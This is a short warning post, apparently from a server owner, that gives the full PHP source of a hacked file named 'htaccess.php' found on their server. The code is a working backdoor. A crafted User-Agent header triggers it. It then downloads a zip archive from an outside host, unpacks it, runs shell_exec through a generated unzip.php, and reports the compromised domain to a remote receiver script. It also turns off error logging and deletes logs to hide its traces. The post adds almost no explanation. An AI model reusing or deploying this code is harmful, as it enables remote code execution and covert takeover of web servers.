WARNING! This is a hacked file found on my server!

htaccess.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                         
ignore_user_abort(true); 
set_time_limit(0); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 

function getURL($url, $maxRedirs = 5, $timeout = 30) 

{ 
	$ch = curl_init(); $header[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; $header[] = "Connection: keep-alive"; $header[] = "Keep-Alive: 300"; $header[] = "Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3"; $header[] = "Pragma: "; curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); $content = curl_exec($ch); $response = curl_getinfo($ch); curl_close ($ch); if (($response['http_code'] == 301 OR $response['http_code'] == 302) AND $maxRedirs) if ($headers = get_headers($response['url'])) foreach($headers as $value) if (substr( strtolower($value), 0, 9 ) == "location:") { $locationURL = trim(substr($value, 9, strlen($value))); if (!preg_match('/^http/', $locationURL)) { $arUrl = parse_url($url); $locationURL = $arUrl['scheme'] . '://' . $arUrl['host'] . $locationURL; } return getURL($locationURL, --$maxRedirs, $timeout); } return ($content) ? $content : false; 
} 

$UA = $_SERVER['HTTP_USER_AGENT'];  

$status = stristr($UA, '~');




if ($status !== false) 
{ 
	$status_2 = stristr($UA, 'rvf'); 
	
	
	if ($status_2 !== false) 
	{ 
		$res = $UA;  
		$res = stristr($res, '~');
		$res = substr($res, 1); 
		$pos_end = strpos($res, '~'); 
		$res = substr_replace($res, '', $pos_end, 9999);  
		$status = explode(":", $res);  
		
		
		if ($status[0] == 'start') 
		{ 
			$url_archive = 'http://joomlacheck.me/1.zip';
			$dir_for_work = '/temp/';
			
			$dir_path = $_SERVER['DOCUMENT_ROOT'].'/'.$dir_for_work; 
			$archive_path = $dir_path.'1.zip'; 
			$script_name = $dir_path.'1.php';  
			
			if (!is_dir($dir_path)) 
				mkdir($dir_path, 0777); 
			else 
			{ 
				$arr_filename = array (); 
			
				if (is_dir($dir_path)) 
				{ 
					if ($dh = opendir($dir_path)) 
					{ 
						while (($file = readdir($dh)) !== false) 
						{ 
							if (($file != ".") and ($file != "..")) $arr_filename[] = $file; 
						} 
						closedir($dh); 
					} 
				}  
				
				foreach ($arr_filename as $key) 
				{ 
					$key = trim($key); 
					$file_for_delete = "$dir_path/$key"; 
					$file_for_delete = str_replace('///', '/', $file_for_delete); 
					$file_for_delete = str_replace('//', '/', $file_for_delete);  
					$file_for_check = str_replace($_SERVER['DOCUMENT_ROOT'], '/', $file_for_delete); 
					$file_for_check = str_replace('//', '/', $file_for_check);  
					
					if (substr_count($file_for_check, "/") >=2) 
					{ 
						if (file_exists($file_for_delete)) 
							unlink($file_for_delete);  
						if (file_exists($file_for_delete)) 
						{ 
							chmod($file_for_delete, 0777); 
							unlink($file_for_delete); 
						}  
					} 
				}  
				
				if (file_exists("error_log")) 
					unlink("error_log");  
				if (is_dir($dir_path)) 
					rmdir($dir_path);  
				
				if (!is_dir($dir_path)) 
					mkdir($dir_path, 0777); 
				else 
				{ 
					echo '~Directory already exists~';
					exit; 
				} 
			}  





if (is_dir($dir_path)) 
{ 
	if (!copy($url_archive, $archive_path)) 
	{ 
		$arch = file_get_contents($url_archive);
		if (($arch !== "") and ($arch !== " ") and ($arch !== null)) { $f = fopen ($archive_path, "w"); fwrite($f, $arch); fclose($f); } else { $ch = curl_init($url_archive); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  $data = curl_exec($ch); curl_close($ch);  file_put_contents($archive_path, $data); } }  

	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	if (file_exists($archive_path)) 
	{ 
		
		
		$zip = new ZipArchive; 
		$zip->open("$archive_path"); 
		$zip->extractTo("$dir_path"); 
		$zip->close();  


		if (!file_exists($script_name)) 
		{ 
			$domain_name_2 = $_SERVER['SERVER_NAME']; 
			$unzip_path = $dir_path.'unzip.php';  
			
			
			
			$data1 = '<?php $archive_path = $_SERVER[\'DOCUMENT_ROOT\']'; 
			$data2 = '.\'/'; 
			$data3 = $dir_for_work; 
			$data4 = "1.zip';"; 
			$data5 = '$output = shell_exec("unzip 1.zip");?>';  
			
			$data = $data1.$data2.$data3.$data4.$data5;
			
			$fas = fopen ($unzip_path, "w"); 
			fwrite($fas, $data); 
			fclose($fas);  
			
			$unzip_url = 'http://'.$domain_name_2.'/'.$status[1].'unzip.php';  
			
			echo getURL($unzip_url); 
			
			
		} 
	} 
	else 
	{ 
		echo '~Can not upload archive!~'; 
		rmdir($dir_path); 
		exit; 
	}  

	if (file_exists($script_name)) 
	{ 
		echo '~Client has been activated!~';  
		$file_name = $_SERVER['DOCUMENT_ROOT'].'/'.$status[1].'server_name.txt';  
		$file = fopen($file_name,"rt"); 
		$original_file = fread($file,filesize($file_name)); 
		fclose($file);  
		$domain_name = $_SERVER['SERVER_NAME']; 
		$url = $original_file.'reciever.php?data='.$domain_name;  $UA = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4';  $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_REFERER, $domain_name); curl_setopt($ch, CURLOPT_USERAGENT, $UA); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  $data = curl_exec($ch); curl_close($ch); echo $data.'<hr>';  $data = file_get_contents($url); echo $data.'<hr>';  echo getURL($url);  exit; 
	} 
	else 
	{ 
		echo '~Can not unziped!~'; 
		unlink($archive_path); 
		rmdir($dir_path); 
		exit; 
	} 
} 

else { echo '~Can not make dir!~'; exit; } } if ($status[0] == 'finish') { $file_name_2 = $_SERVER['DOCUMENT_ROOT'].'/'.$status[1].'server_name.txt';  $file_2 = fopen($file_name_2,"rt"); $original_file_2 = fread($file_2,filesize($file_name_2)); fclose($file_2);  if (($status[1] != null) and ($status[1] != '')) $dir_for_work = $status[1]; else $dir_for_work = 'conflg/';  $dir_path = $_SERVER['DOCUMENT_ROOT'].'/'.$dir_for_work; $archive_path = $dir_path.'1.zip';  if (is_dir($dir_path)) { $arr_filename = array ();  if ($dh = opendir($dir_path)) { while (($file = readdir($dh)) !== false) { if (($file != ".") and ($file != "..")) $arr_filename[] = $file; } closedir($dh); }  foreach ($arr_filename as $key) { $key = trim($key); $file_for_delete = "$dir_path/$key"; $file_for_delete = str_replace('///', '/', $file_for_delete); $file_for_delete = str_replace('//', '/', $file_for_delete);  $file_for_check = str_replace($_SERVER['DOCUMENT_ROOT'], '/', $file_for_delete); $file_for_check = str_replace('//', '/', $file_for_check);  if (substr_count($file_for_check, "/") >=2) { if (file_exists($file_for_delete)) unlink($file_for_delete);  if (file_exists($file_for_delete)) { chmod($file_for_delete, 0777); unlink($file_for_delete); }  } } }  if (file_exists("error_log")) unlink("error_log");  if (is_dir($dir_path)) rmdir($dir_path);  if (is_dir($dir_path)) { chmod($dir_path, 0777); rmdir($dir_path); } if (is_dir($dir_path)) echo "~Error!~"; else { $domain_name = $_SERVER['SERVER_NAME']; $url = $original_file_2.'reciever.php?del='.$domain_name;  $UA = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4';  $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_REFERER, $domain_name); curl_setopt($ch, CURLOPT_USERAGENT, $UA); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  $data = curl_exec($ch); curl_close($ch); echo $data.'<hr>';  $data = file_get_contents($url); echo $data.'<hr>';  echo getURL($url); } exit; } 
} 

}  
?>